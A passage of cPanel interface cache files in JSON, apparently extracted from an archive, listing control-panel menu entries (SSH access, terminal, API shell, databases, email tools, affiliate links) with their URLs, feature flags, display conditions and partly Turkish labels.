Today","url":"sitewit/index.html?icon=1&option=google","imgtype":"icon"},"inodes":{"type":"image","plainitemdesc":"Inodes","group":"files","itemdesc":"Inodes","url":"inodes/inodes.live.php","imgtype":"icon","itemorder":"1","acontent":"","width":"47","searchtext":"Inodes","file":"inodes","height":"47","target":"","base64_png_image":"","onclick":"","subtype":"img","feature":"inodes","description":"Inodes"},"email_routing":{"imgtype":"icon","url":"mail/email_routing.html","group":"email","plainitemdesc":"Email Routing","itemdesc":"Email Routing","type":"image","if":"$HASROLE{'MailReceive'} && !$HASCHILDNODE{Mail}","feature":"changemx","onclick":"","subtype":"img","description":"Email Routing","base64_png_image":"","implements":"Email_Routing","key":"email_routing","target":"","height":"48","searchtext":"MX Entry Email Routing dns","width":"48","file":"email_routing","itemorder":"4","acontent":""},"perl_modules":{"description":"Perl Modules","onclick":"","subtype":"img","feature":"modules-perl","base64_png_image":"","key":"perl_modules","height":"48","target":"","searchtext":"Perl Modules","width":"48","file":"perl_modules","itemorder":"3","acontent":"","imgtype":"icon","url":"module_installers/index.html?lang=perl","group":"software","plainitemdesc":"Perl Modules","itemdesc":"Perl Modules","type":"image","if":"$hasperl"},"solostream":{"url":"http://bit.ly/1PrulmC","imgtype":"icon","type":"image","itemdesc":"Solo Stream Themes","group":"wp_affiliates","plainitemdesc":"Solo Stream Themes","target":"","height":"47","base64_png_image":"","onclick":"","subtype":"img","description":"Solo Stream Themes","feature":"solostream","acontent":"","itemorder":"2","file":"solostream","searchtext":"Solo Stream Themes","width":"47"},"global_email_filters":{"if":"$HASROLE{'MailReceive'}","itemdesc":"Global Email Filters","group":"email","plainitemdesc":"Global Email Filters","type":"image","imgtype":"icon","url":"mail/filters/userfilters.html","acontent":"","itemorder":"9","file":"global_email_filters","searchtext":"Global Email Filters filter account level filtering","width":"48","key":"global_email_filters","height":"48","target":"","description":"Global Email Filters","onclick":"","subtype":"img","feature":"blockers","base64_png_image":"","implements":"Email_AccountLevelFiltering"},"subdomains":{"itemorder":"4","acontent":"","file":"subdomains","searchtext":"Subdomains domain","width":"48","key":"subdomains","target":"","height":"48","subtype":"img","onclick":"","feature":"subdomains","description":"Subdomains","base64_png_image":"","implements":"Domains_SubDomains","if":"$HASROLE{'WebServer'}","itemdesc":"Subdomains","plainitemdesc":"Subdomains","group":"domains","type":"image","imgtype":"icon","url":"subdomain/index.html"},"api_tokens":{"implements":"API_Tokens_Manager","base64_png_image":"","subtype":"img","onclick":"","description":"Manage API Tokens","feature":"apitokens","height":"48","target":"","key":"api_tokens","searchtext":"Manage API Tokens access api connect login","width":"48","file":"api_tokens","acontent":"","itemorder":"4","imgtype":"icon","url":"api_tokens/index.html","type":"image","plainitemdesc":"Manage API Tokens","group":"security","itemdesc":"Manage API Tokens"},"attracta_wpthemes2":{"itemdesc":"WordPress Themes","group":"software","plainitemdesc":"WordPress Themes","type":"image","imgtype":"icon","url":"https://www.attracta.com/extlinks/wpthemes","acontent":"target=\"_blank\"","itemorder":"99","searchtext":"WordPress Themes","width":"47","file":"attracta_wpthemes2","height":"47","target":"_blank","onclick":"","subtype":"img","feature":"attracta_wpthemes2","description":"WordPress Themes","base64_png_image":""},"lveresusage":{"acontent":"","itemorder":"999","searchtext":"Resource Usage","file":"lveresusage","width":"47","target":"","height":"47","onclick":"","subtype":"img","feature":"lveresusage","description":"Resource Usage","base64_png_image":"","group":"metrics","plainitemdesc":"Resource Usage","itemdesc":"Resource Usage","type":"image","imgtype":"icon","url":"resource_usage/resource_usage.live.pl"},"webalizer_ftp":{"itemorder":"8","acontent":"","searchtext":"Webalizer FTP stats ftp","width":"48","file":"webalizer_ftp","height":"48","target":"","key":"webalizer_ftp","base64_png_image":"","feature":"webalizer","onclick":"","subtype":"img","description":"Webalizer FTP","if":"!$CONFIF{'skipwebalizer'}","type":"image","touch":"ftp","itemdesc":"Webalizer FTP","plainitemdesc":"Webalizer FTP","group":"metrics","imgtype":"icon","url":"stats/webalizerftp_landing.html"},"attracta_emailmarketing3":{"searchtext":"Free Email Marketing Tools","file":"attracta_emailmarketing3","width":"47","acontent":"","itemorder":"12","onclick":"","feature":"attracta_emailmarketing3","subtype":"img","description":"Free Email Marketing Tools","base64_png_image":"","target":"","height":"47","group":"attracta_seo","plainitemdesc":"Free Email Marketing Tools","itemdesc":"Free Email Marketing Tools","type":"image","imgtype":"icon","url":"https://www.attracta.com/extlinks/emailmarketing"},"security_policy":{"url":"security/index.html","imgtype":"icon","if":"$CONFIF{'SecurityPolicy::SourceIPCheck'}","itemdesc":"Security Policy","plainitemdesc":"Security Policy","group":"security","type":"image","key":"security_policy","target":"","height":"32","onclick":"","description":"Security Policy","subtype":"img","base64_png_image":"","itemorder":"6","acontent":"","file":"security_policy","searchtext":"Security Policy","width":"32"},"ssh_access":{"type":"image","itemdesc":"SSH Access","plainitemdesc":"SSH Access","group":"security","url":"telnet/index.html","imgtype":"icon","acontent":"","itemorder":"1","file":"ssh_access","searchtext":"SSH access ssh/shell Access ssh secure shell sftp SSH Access","width":"48","target":"","height":"48","key":"ssh_access","base64_png_image":"","feature":"ssh","onclick":"","subtype":"img","description":"SSH Access"},"apache_spam_assassin":{"width":"48","searchtext":"Filtering Spam Assassin spamassassin Apache SpamAssassin Spam Filters","file":"apache_spam_assassin","acontent":"","itemorder":"13","implements":"Email_SpamFilter","base64_png_image":"","onclick":"","description":"Spam Filters","subtype":"img","feature":"spamassassin","target":"","height":"48","key":"apache_spam_assassin","type":"image","group":"email","plainitemdesc":"Spam Filters","itemdesc":"Spam Filters","if":"$HASROLE{'SpamFilter'} && !$CONFIF{'skipspamassassin'}","imgtype":"icon","url":"mail/spam/index.html"},"ip_blocker":{"width":"48","searchtext":"IP Blocker ip deny manager","file":"ip_blocker","itemorder":"2","acontent":"","base64_png_image":"","onclick":"","subtype":"img","feature":"ipdeny","description":"IP Blocker","height":"48","target":"","key":"ip_blocker","type":"image","group":"security","plainitemdesc":"IP Blocker","itemdesc":"IP Blocker","if":"$HASROLE{'WebServer'}","url":"denyip/index.html","imgtype":"icon"},"errors":{"group":"metrics","plainitemdesc":"Errors","itemdesc":"Errors","type":"image","if":"$HASROLE{'WebServer'}","url":"stats/errlog.html","imgtype":"icon","searchtext":"Errors errorlog error log","width":"48","file":"errors","acontent":"","itemorder":"2","subtype":"img","onclick":"","feature":"errlog","description":"Errors","base64_png_image":"","key":"errors","target":"","height":"48"},"group_wp_affiliates":{"imgtype":"icon","type":"image","group":"wp_affiliates","itemdesc":"group_wp_affiliates","height":"47","target":"","base64_png_image":"","subtype":"img","onclick":"","description":"Planet Wordpress","acontent":"","groupdesc":"Planet Wordpress","grouporder":"11","file":"group_wp_affiliates","searchtext":"group_wp_affiliates","width":"47"},"group_software":{"imgtype":"icon","group":"software","itemdesc":"group_software","type":"image","if":"$HASROLE{'WebServer'}","onclick":"","description":"Software","subtype":"img","base64_png_image":"","key":"group_software","target":"","height":"48","grouporder":"6","searchtext":"group_software","width":"48","file":"group_software","acontent":"","groupdesc":"Software"},"attracta_getingoogle":{"url":"/frontend/paper_lantern/attracta/index.live.pl?id=31","imgtype":"icon","type":"image","itemdesc":"Get In Google","plainitemdesc":"Get In Google","group":"attracta_seo","base64_png_image":"","onclick":"","subtype":"img","description":"Get In Google","feature":"attracta_getingoogle","target":"","height":"47","width":"47","searchtext":"Get In Google","file":"attracta_getingoogle","acontent":"","itemorder":"1"},"aicontent2":{"width":"47","searchtext":"AI Blog Post Generator","file":"aicontent2","itemorder":"99","acontent":"","base64_png_image":"","onclick":"","subtype":"img","feature":"aicontent2","description":"AI Blog Post Generator","target":"","height":"47","type":"image","plainitemdesc":"AI Blog Post Generator","group":"files","itemdesc":"AI Blog Post Generator","imgtype":"icon","url":"https://www.attracta.com/extlinks/copymatic"},"attracta_cart2":{"group":"software","plainitemdesc":"Free Shopping Cart","itemdesc":"Free Shopping Cart","type":"image","url":"https://www.attracta.com/extlinks/shoppingcart","imgtype":"icon","searchtext":"Free Shopping Cart","file":"attracta_cart2","width":"47","acontent":"","itemorder":"98","onclick":"","subtype":"img","description":"Free Shopping Cart","feature":"attracta_cart2","base64_png_image":"","height":"47","target":""},"track_dns":{"type":"image","itemdesc":"Track DNS","plainitemdesc":"Track DNS","group":"advanced","url":"net/index.html","imgtype":"icon","itemorder":"3","acontent":"","file":"track_dns","searchtext":"Track DNS traceroute tracert dnslookup dig network tools","width":"48","target":"","height":"48","key":"track_dns","base64_png_image":"","subtype":"img","onclick":"","feature":"nettools","description":"Track DNS"},"site_software":{"itemdesc":"Site Software","group":"software","cpanel_os_check":"supports_cpaddons=1","url":"addoncgi/cpaddons.html","imgtype":"icon","acontent":"","itemorder":"6","file":"site_software","width":"32","key":"site_software","height":"32","subtype":"img","if":"$HASROLE{'WebServer'}","plainitemdesc":"Site Software","file_check":"!/var/cpanel/cpaddons.disabled","type":"image","searchtext":"Site Software addons software","target":"","onclick":"","feature":"addoncgi","description":"Site Software","base64_png_image":"","implements":"Site_Software"},"cart2cart":{"type":"image","itemdesc":"Ghost Publishing Platform","group":"software","plainitemdesc":"Ghost Publishing Platform","url":"ghost/ghost.live.php","imgtype":"icon","itemorder":"1","acontent":"","width":"47","searchtext":"Ghost Publishing Platform","file":"cart2cart","height":"47","target":"","base64_png_image":"","subtype":"img","onclick":"","description":"Ghost Publishing Platform","feature":"Ghost_Publishing_Platform"},"backup_wizard":{"itemorder":"9","acontent":"","width":"48","searchtext":"Backup Wizard restore","file":"backup_wizard","key":"backup_wizard","target":"","height":"48","onclick":"","subtype":"img","description":"Backup Wizard","feature":"backup","base64_png_image":"","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","itemdesc":"Backup Wizard","group":"files","plainitemdesc":"Backup Wizard","type":"image","imgtype":"icon","url":"backup/wizard.html"},"group_sample_apps":{"imgtype":"icon","itemdesc":"group_sample_apps","group":"sample_apps","type":"image","key":"group_sample_apps","height":"48","target":"","subtype":"img","onclick":"","description":"Sample Applications","base64_png_image":"","groupdesc":"Sample Applications","acontent":"","searchtext":"group_sample_apps","width":"48","file":"group_sample_apps","grouporder":"9"}}}PK �,�\k�ڦv� v� dynamicui/jupiter_tr_.cachenu ��٘� {"conf":{"errors":{"file":"errors","subtype":"img","acontent":"","itemorder":"2","width":"48","itemdesc":"Hatalar","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Errors","key":"errors","description":"View the most recent entries in the Apache® error logs.","searchtext":"Hatalar hata günlüğü hata günlüğü","base64_png_image":"","onclick":"","feature":"errlog","height":"48","url":"stats/errlog.html","group":"metrics"},"apache_spam_assassin":{"file":"apache_spam_assassin","subtype":"img","acontent":"","itemdesc":"Spam Filters","width":"48","itemorder":"13","imgtype":"icon","type":"image","if":"$HASROLE{'SpamFilter'} && !$CONFIF{'skipspamassassin'}","target":"","plainitemdesc":"Spam Filters","description":"Configure the spam filter settings for your email account.","searchtext":"Filtering Spam Assassin spamassassin Apache SpamAssassin Spam Filters","key":"apache_spam_assassin","base64_png_image":"","feature":"spamassassin","onclick":"","height":"48","implements":"Email_SpamFilter","url":"mail/spam/index.html","group":"email"},"clam_av":{"plainitemdesc":"Virus Scanner","target":"","type":"image","if":"$hasclamav && $HASROLE{'MailReceive'}","imgtype":"icon","itemdesc":"Virüs Tarayıcı","width":"48","itemorder":"8","touch":"clamav","acontent":"","subtype":"img","file":"clam_av","group":"advanced","url":"clam-av/index.html","height":"48","feature":"clamavconnector_scan","onclick":"","base64_png_image":"","searchtext":"Virüs Tarayıcısı clam clamav antivirüs","description":"Scan your cPanel account for viruses.","key":"clam_av"},"mcp_configuration":{"width":"48","itemdesc":"MCP Configuration","itemorder":"10","acontent":"","subtype":"img","file":"mcp_configuration","plainitemdesc":"MCP Configuration","target":"","type":"image","if":"$LEIKA{'mcp.enabled'} && $LEIKA{'mcp.cpanel_enabled'}","imgtype":"icon","height":"48","feature":"mcp","onclick":"","base64_png_image":"","description":"Generate configuration files for AI assistants to connect to your cPanel account via Model Context Protocol.","searchtext":"MCP Model Context Protocol AI assistant configuration vscode claude MCP Configuration","key":"mcp_configuration","group":"security","url":"mcp/index.html"},"postgresql_databases":{"itemorder":"5","itemdesc":"PostgreSQL Veri Tabanları","width":"48","acontent":"","subtype":"img","file":"postgresql_databases","plainitemdesc":"PostgreSQL Databases","target":"","if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","type":"image","imgtype":"icon","height":"48","onclick":"","feature":"postgres","base64_png_image":"","key":"postgresql_databases","description":"Create, manage, and delete PostgreSQL® databases and database users.","searchtext":"PostgreSQL Databases postgres database postgresql db PostgreSQL Veri Tabanları","group":"databases","url":"psql/index.html"},"application_manager":{"file":"application_manager","itemdesc":"Application Manager","width":"48","itemorder":"8","subtype":"img","acontent":"","imgtype":"icon","plainitemdesc":"Application Manager","target":"","type":"image","base64_png_image":"","description":"Deploy applications with the Phusion Passenger® application server.","searchtext":"apps passenger ruby ror gems rails Application Manager","key":"application_manager","height":"48","feature":"passengerapps","onclick":"","group":"software","url":"passenger/index.html"},"perl_modules":{"url":"module_installers/index.html?lang=perl","group":"software","key":"perl_modules","description":"Search for and install Perl modules from the CPAN repository.","searchtext":"Perl Modülleri","base64_png_image":"","onclick":"","feature":"modules-perl","height":"48","imgtype":"icon","if":"$hasperl","type":"image","target":"","plainitemdesc":"Perl Modules","file":"perl_modules","subtype":"img","acontent":"","itemorder":"3","itemdesc":"Perl Modülleri","width":"48"},"change_password":{"imgtype":"icon","type":"image","target":"","plainitemdesc":"Password [output,amp] Security","file":"change_password","subtype":"img","acontent":"","itemorder":"1","width":"48","itemdesc":"Şifre & Güvenliği","implements":"Password_Change","url":"passwd/index.html","group":"preferences","key":"change_password","description":"Update your cPanel account’s password.","searchtext":"password & security change facebook external google secure cpanel Şifre & Güvenliği","base64_png_image":"","onclick":"","feature":"password","height":"48"},"cpanel-socialbee-plugin":{"type":"image","if":"$HASROLE{'WebServer'}","target":"","plainitemdesc":"Social Media Management","imgtype":"icon","acontent":"","subtype":"img","itemorder":"2","width":"48","itemdesc":"Social Media Management","file":"cpanel-socialbee-plugin","url":"socialbee/index.html","group":"domains","onclick":"","feature":"socialbee","height":"48","description":"Social Media Management","searchtext":"media management plugin socialbee social bee Social Media Management","base64_png_image":""},"encryption":{"key":"encryption","searchtext":"Şifreleme gpg anahtarları GnuPG Anahtarları","description":"Create, manage, and delete GnuPG keys.","base64_png_image":"","onclick":"","feature":"pgp","height":"48","url":"gpg/index.html","group":"email","file":"encryption","acontent":"","subtype":"img","itemorder":"15","width":"48","itemdesc":"Şifreleme","imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'}","plainitemdesc":"Encryption","target":""},"default_address":{"base64_png_image":"","key":"default_address","searchtext":"Varsayılan Adres","description":"Set up a default email address.","height":"48","onclick":"","feature":"defaultaddress","implements":"Email_DefaultAddress","group":"email","url":"mail/def.html","file":"default_address","itemorder":"6","width":"48","itemdesc":"Varsayılan Adres","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Default Address","type":"image","if":"$HASROLE{'MailReceive'}"},"boxtrapper":{"group":"email","url":"mail/boxtrapper.html","implements":"Email_BoxTrapper","height":"48","feature":"boxtrapper","onclick":"","base64_png_image":"","description":"Filter spam from your inbox through challenge-response verification.","searchtext":"BoxTrapper filtresi","key":"boxtrapper","target":"","if":"$HASROLE{'MailReceive'} && !$CONFIF{'skipboxtrapper'}","type":"image","imgtype":"icon","width":"48","itemdesc":"BoxTrapper","itemorder":"16","acontent":"","subtype":"img","file":"boxtrapper"},"optimize_website":{"width":"32","itemdesc":"Web Sitesini Optimize Edin","itemorder":"7","acontent":"","subtype":"img","file":"optimize_website","plainitemdesc":"Optimize Website","target":"","if":"$hasmoddeflate","type":"image","imgtype":"icon","height":"32","feature":"optimizews","onclick":"","base64_png_image":"","description":"Configure your server to automatically compress specified types of content when visitors access that content.","searchtext":"Web Sitesini Optimize Edin","key":"optimize_website","group":"software","url":"optimize/index.html"},"web_host_manager":{"group":"advanced","url":"/xferwhm/","base64_png_image":"","key":"web_host_manager","searchtext":"WebHost Manage webhostmanager whm WebHost Manager®","description":"WebHost Manager®","height":"48","onclick":"","imgtype":"icon","target":"","type":"image","if":"$isreseller && !$team_user","file":"web_host_manager","itemorder":"1","width":"48","itemdesc":"WebHost Manager®","acontent":"","subtype":"img"},"change_language":{"group":"preferences","url":"setlang/index.html","implements":"Locale_Change","height":"48","onclick":"","feature":"setlang","base64_png_image":"","key":"change_language","searchtext":"dil setlang Dili Değiştir","description":"Change your default language.","plainitemdesc":"Change Language","target":"","type":"image","imgtype":"icon","itemorder":"2","itemdesc":"Dili Değiştir","width":"48","acontent":"","subtype":"img","file":"change_language"},"zone_editor":{"itemorder":"6","width":"48","itemdesc":"Bölge Editörü","acontent":"","subtype":"img","file":"zone_editor","plainitemdesc":"Zone Editor","target":"","type":"image","if":"$HASROLE{'DNS'}","imgtype":"icon","height":"48","onclick":"","feature":"simplezoneedit || changemx || zoneedit","base64_png_image":"","key":"zone_editor","searchtext":"zone editor advanced simple caa cname a aaaa txt dkim dmarc spf mx srv record dns dnssec Bölge Editörü","description":"Create, manage, and delete DNS zone records.","group":"domains","url":"zone_editor/index.html","implements":"Zone_Editor"},"group_domains":{"type":"image","if":"$HASROLE{'WebServer'} || $HASROLE{'DNS'}","target":"","imgtype":"icon","grouporder":"4","acontent":"","subtype":"img","width":"4","itemdesc":"group_domains","file":"group_domains","group":"domains","groupdesc":"Alan Adları","onclick":"","height":"48","key":"group_domains","searchtext":"group_domains","description":"Alan Adları","base64_png_image":""},"user_manager":{"itemdesc":"Kullanıcı Yöneticisi","width":"48","itemorder":"4","acontent":"","subtype":"img","file":"user_manager","target":"","plainitemdesc":"User Manager","type":"image","if":"$HASROLE{'FTP'} || $HASROLE{'WebDisk'}","imgtype":"icon","height":"48","feature":"user_manager","onclick":"","base64_png_image":"","description":"Manage the users who can access various systems on your cPanel account.","searchtext":"şifre değişikliği ftp e-posta webdisk webdav hizmet Kullanıcı Yöneticisi","key":"user_manager","group":"preferences","url":"user_manager/index.html"},"leech_protection":{"target":"","plainitemdesc":"Leech Protection","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon","itemorder":"5","itemdesc":"Leech Koruması","width":"48","acontent":"","subtype":"img","file":"leech_protection","group":"security","url":"htaccess/leechprotect/leechprotect.html","height":"48","onclick":"","feature":"cpanelpro_leechprotect && webprotect","base64_png_image":"","key":"leech_protection","searchtext":"Leech Koruması koru","description":"Detect unusual levels of activity in password-restricted directories."},"multiphp_ini_editor":{"if":"$is_ea4","type":"image","plainitemdesc":"MultiPHP INI Editor","target":"","imgtype":"icon","subtype":"img","acontent":"","itemorder":"9","itemdesc":"MultiPHP INI Düzenleyicisi","width":"48","file":"multiphp_ini_editor","url":"multiphp_ini_editor/index.html","group":"software","onclick":"","feature":"multiphp_ini_editor","height":"48","key":"multiphp_ini_editor","searchtext":"MultiPHP INI Düzenleyicisi PHP yapılandırması","description":"Configure your website’s PHP settings.","base64_png_image":""},"group_metrics":{"itemdesc":"group_metrics","width":"48","subtype":"img","acontent":"","file":"group_metrics","target":"","type":"image","grouporder":"5","imgtype":"icon","height":"48","onclick":"","base64_png_image":"","description":"Metrik","searchtext":"group_metrics","key":"group_metrics","group":"metrics","groupdesc":"Metrik"},"wp-toolkit":{"base64_png_image":"","description":"WordPress Management","searchtext":"WordPress Management","height":"48","feature":"wp-toolkit","onclick":"","group":"domains","url":"wp-toolkit/index.live.php","file":"wp-toolkit","width":"48","itemdesc":"WordPress Management","itemorder":"-1","acontent":"target=\"_self\"","subtype":"img","imgtype":"icon","target":"_self","plainitemdesc":"WordPress Management","type":"image"},"cart2cart":{"file":"cart2cart","acontent":"","subtype":"img","itemorder":"1","itemdesc":"Ghost Publishing Platform","width":"48","imgtype":"icon","type":"image","target":"","plainitemdesc":"Ghost Publishing Platform","searchtext":"Ghost Publishing Platform","description":"Ghost Publishing Platform","base64_png_image":"","onclick":"","feature":"Ghost_Publishing_Platform","height":"48","url":"ghost/ghost.live.php","group":"software"},"mysql_databases":{"itemorder":"2","itemdesc":"Manage My Databases","width":"48","acontent":"","subtype":"img","file":"mysql_databases","target":"","plainitemdesc":"Manage My Databases","if":"$SERVICEPROVIDED{'mysql'}","type":"image","imgtype":"icon","height":"48","onclick":"","feature":"mysql","base64_png_image":"","key":"mysql_databases","description":"Create, manage, and delete databases and database users.","searchtext":"MySQL Databases db Manage My Databases","group":"databases","url":"sql/index.html","implements":"Database_MySQL"},"terminal":{"if":"$hasvalidshell && $HASROLE{'FileStorage'}","type":"image","plainitemdesc":"Terminal","target":"","imgtype":"icon","acontent":"","subtype":"img","width":"48","itemdesc":"Terminal","itemorder":"1","file":"terminal","url":"terminal/index.html","group":"advanced","feature":"ssh","onclick":"","height":"48","description":"Access an in-browser terminal application for direct command-line access within a cPanel session.","searchtext":"terminal bash tcsh command line shell ssh Terminal","key":"terminal","base64_png_image":""},"group_files":{"group":"files","groupdesc":"Dosyalar","height":"48","onclick":"","base64_png_image":"","key":"group_files","searchtext":"group_files","description":"Dosyalar","target":"","type":"image","imgtype":"icon","grouporder":"2","width":"48","itemdesc":"group_files","subtype":"img","acontent":"","file":"group_files"},"postgresql_database_wizard":{"acontent":"","subtype":"img","itemorder":"6","width":"48","itemdesc":"PostgreSQL Veritabanı Sihirbazı","file":"postgresql_database_wizard","type":"image","if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","plainitemdesc":"PostgreSQL Database Wizard","target":"","imgtype":"icon","onclick":"","feature":"postgres","height":"48","key":"postgresql_database_wizard","description":"Guided setup of a PostgreSQL® database, database users, and user privileges.","searchtext":"PostgreSQL Database Wizard postgres postgresql database db PostgreSQL Veritabanı Sihirbazı","base64_png_image":"","url":"psql/wizard1.html","group":"databases"},"anonymous_ftp":{"searchtext":"Anonim FTP anonymousftp","description":"Define how anonymous users interact with your FTP server.","key":"anonymous_ftp","base64_png_image":"","feature":"ftpaccts","onclick":"","height":"48","url":"ftp/anonymous.html","group":"files","file":"anonymous_ftp","touch":"ftp","acontent":"","subtype":"img","itemdesc":"Anonim FTP","width":"48","itemorder":"8","imgtype":"icon","type":"image","if":"$SERVICEPROVIDED{'ftp'} && $hasanonftp","target":"","plainitemdesc":"Anonymous FTP"},"directory_privacy":{"group":"files","url":"htaccess/index.html","height":"48","feature":"webprotect","onclick":"","base64_png_image":"","searchtext":"Dizin Gizliliği şifre korumalı şifre korumalı","description":"Protect specific directories in your files on your cPanel account.","key":"directory_privacy","target":"","plainitemdesc":"Directory Privacy","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","itemdesc":"Dizin Gizliliği","width":"48","itemorder":"3","subtype":"img","acontent":"","file":"directory_privacy"},"apache_handlers":{"plainitemdesc":"Apache Handlers","target":"","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","itemorder":"6","width":"48","itemdesc":"Apache İşleyiciler","subtype":"img","acontent":"","file":"apache_handlers","group":"advanced","url":"mime/handle.html","height":"48","onclick":"","feature":"handlers","base64_png_image":"","key":"apache_handlers","description":"Control how your website’s Apache® web server software manages certain file types and file extensions.","searchtext":"Apache İşleyiciler apache işleyiciler uzantı yapılandırması"},"backup":{"base64_png_image":"","key":"backup","description":"Download and store your website in a backup file.","searchtext":"Yedeklemeyi geri yükle","height":"48","onclick":"","feature":"backup","implements":"Backups_Home","group":"files","url":"backup/index.html","file":"backup","itemorder":"9","width":"48","itemdesc":"Yedekleme","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Backup","target":"","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","type":"image"},"error_pages":{"height":"48","onclick":"","feature":"errpgs","base64_png_image":"","key":"error_pages","description":"Inform visitors about problems when they attempt to access your website.","searchtext":"Hata Sayfaları hata günlüğü hata_günlüğü hata günlüğü","group":"advanced","url":"err/index.html","itemorder":"5","itemdesc":"Hata Sayfaları","width":"48","subtype":"img","acontent":"","file":"error_pages","target":"","plainitemdesc":"Error Pages","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon"},"inodes":{"target":"","plainitemdesc":"Inodes","type":"image","imgtype":"icon","width":"48","itemdesc":"Inodes","itemorder":"1","acontent":"","subtype":"img","file":"inodes","group":"files","url":"inodes/inodes.live.php","height":"48","feature":"inodes","onclick":"","base64_png_image":"","description":"Inodes","searchtext":"Inodes"},"team_manager":{"file":"team_manager","itemdesc":"Manage Team","width":48,"itemorder":5,"acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Manage Team","target":"","if":"$has_team_license","type":"image","base64_png_image":"","searchtext":"manage team manager sub user subaccount subuser Manage Team","description":"Manage Team","key":"team_manager","height":48,"feature":"team_manager","onclick":"","group":"preferences","url":"team-manager/index.html"},"group_software":{"file":"group_software","acontent":"","subtype":"img","itemdesc":"group_software","width":"48","imgtype":"icon","grouporder":"6","type":"image","if":"$HASROLE{'WebServer'}","target":"","key":"group_software","searchtext":"group_software","description":"Yazılım","base64_png_image":"","onclick":"","height":"48","groupdesc":"Yazılım","group":"software"},"ssh_access":{"file":"ssh_access","subtype":"img","acontent":"","itemorder":"1","width":"48","itemdesc":"SSH Erişimi","imgtype":"icon","type":"image","target":"","plainitemdesc":"SSH Access","key":"ssh_access","searchtext":"SSH erişimi ssh/kabuk Erişim ssh güvenli kabuk sftp SSH Erişimi","description":"Manage your public and private SSH keys.","base64_png_image":"","onclick":"","feature":"ssh","height":"48","url":"telnet/index.html","group":"security"},"redirects":{"key":"redirects","description":"Send the visitors of a domain or particular page to a different URL.","searchtext":"Yeniden yönlendirmeler yeniden yaz mod yeniden yaz","base64_png_image":"","onclick":"","feature":"redirects","height":"48","url":"mime/redirect.html","group":"domains","file":"redirects","subtype":"img","acontent":"","itemorder":"6","itemdesc":"Yeniden yönlendirmeler","width":"48","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Redirects","target":""},"analog_stats":{"file":"analog_stats","subtype":"img","acontent":"","itemdesc":"Analog İstatistikleri","width":"48","itemorder":"6","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipanalog'}","target":"","plainitemdesc":"Analog Stats","description":"View data from the Analog traffic statistics software.","searchtext":"Analog İstatistikleri","key":"analog_stats","base64_png_image":"","feature":"analog","onclick":"","height":"48","url":"stats/analog_landing.html","group":"metrics"},"webalizer_ftp":{"url":"stats/webalizerftp_landing.html","group":"metrics","feature":"webalizer","onclick":"","height":"48","description":"View FTP traffic statistics from the Webalizer statistics program.","searchtext":"Webalizer FTP stats ftp","key":"webalizer_ftp","base64_png_image":"","if":"!$CONFIF{'skipwebalizer'}","type":"image","target":"","plainitemdesc":"Webalizer FTP","imgtype":"icon","touch":"ftp","acontent":"","subtype":"img","itemdesc":"Webalizer FTP","width":"48","itemorder":"8","file":"webalizer_ftp"},"file_and_directory_restoration":{"type":"image","if":"$file_restoration_enabled && $HASROLE{'FileStorage'}","plainitemdesc":"File and Directory Restoration","target":"","imgtype":"icon","subtype":"img","acontent":"","itemorder":"11","itemdesc":"File and Directory Restoration","width":"48","file":"file_and_directory_restoration","url":"file_and_directory_restoration/index.html","group":"files","onclick":"","feature":"filerestoration","height":"48","key":"file_and_directory_restoration","searchtext":"File directory restoration File and Directory Restoration","description":"Restore files from local backup sources.","base64_png_image":""},"multiphp_manager":{"group":"software","url":"multiphp_manager/index.html","height":"48","onclick":"","feature":"multiphp","base64_png_image":"","key":"multiphp_manager","searchtext":"MultiPHP Yöneticisi","description":"Manage your PHP configuration.","target":"","plainitemdesc":"MultiPHP Manager","if":"$is_ea4","type":"image","imgtype":"icon","itemorder":"8","itemdesc":"MultiPHP Yöneticisi","width":"48","subtype":"img","acontent":"","file":"multiphp_manager"},"forwarders":{"url":"mail/fwds.html","group":"email","implements":"Email_Forwarders","feature":"forwarders || emaildomainfwd","onclick":"","height":"48","searchtext":"İleticiler ilet","description":"Configure an email address to forward copies of incoming emails to another address.","key":"forwarders","base64_png_image":"","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","type":"image","plainitemdesc":"Forwarders","target":"","imgtype":"icon","subtype":"img","acontent":"","itemdesc":"İleticiler","width":"48","itemorder":"3","file":"forwarders"},"autoresponders":{"width":"48","itemdesc":"Otomatik Yanıtlayıcılar","itemorder":"5","acontent":"","subtype":"img","file":"autoresponders","plainitemdesc":"Autoresponders","target":"","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","imgtype":"icon","height":"48","feature":"autoresponders","onclick":"","base64_png_image":"","searchtext":"Otomatik Yanıtlayıcılar otomatik yanıtlayıcı otomatik yanıtlayıcılar","description":"Configure automatic email response messages.","key":"autoresponders","group":"email","url":"mail/autores.html","implements":"Email_AutoResponders"},"archive":{"plainitemdesc":"Archive","target":"","type":"image","if":"$HASROLE{'MailReceive'} && $CONFIF{'emailarchive'}","imgtype":"icon","itemorder":"14","width":"48","itemdesc":"Arşiv","acontent":"","subtype":"img","file":"archive","group":"email","url":"mail/archive.html","implements":"Email_Archive","height":"48","onclick":"","feature":"emailarchive","base64_png_image":"","key":"archive","description":"Save incoming, outgoing, and mailing list messages for a specified amount of time.","searchtext":"e-posta arşivi E-posta Arşivleme"},"api_shell":{"key":"api_shell","description":"Run cPanel & WHM API functions.","searchtext":"API Kabuğu","base64_png_image":"","onclick":"","feature":"api_shell","height":"48","url":"api_shell/index.html","group":"advanced","file":"api_shell","acontent":"","subtype":"img","itemorder":"9","width":"48","itemdesc":"API Kabuğu","imgtype":"icon","if":"$isreseller && 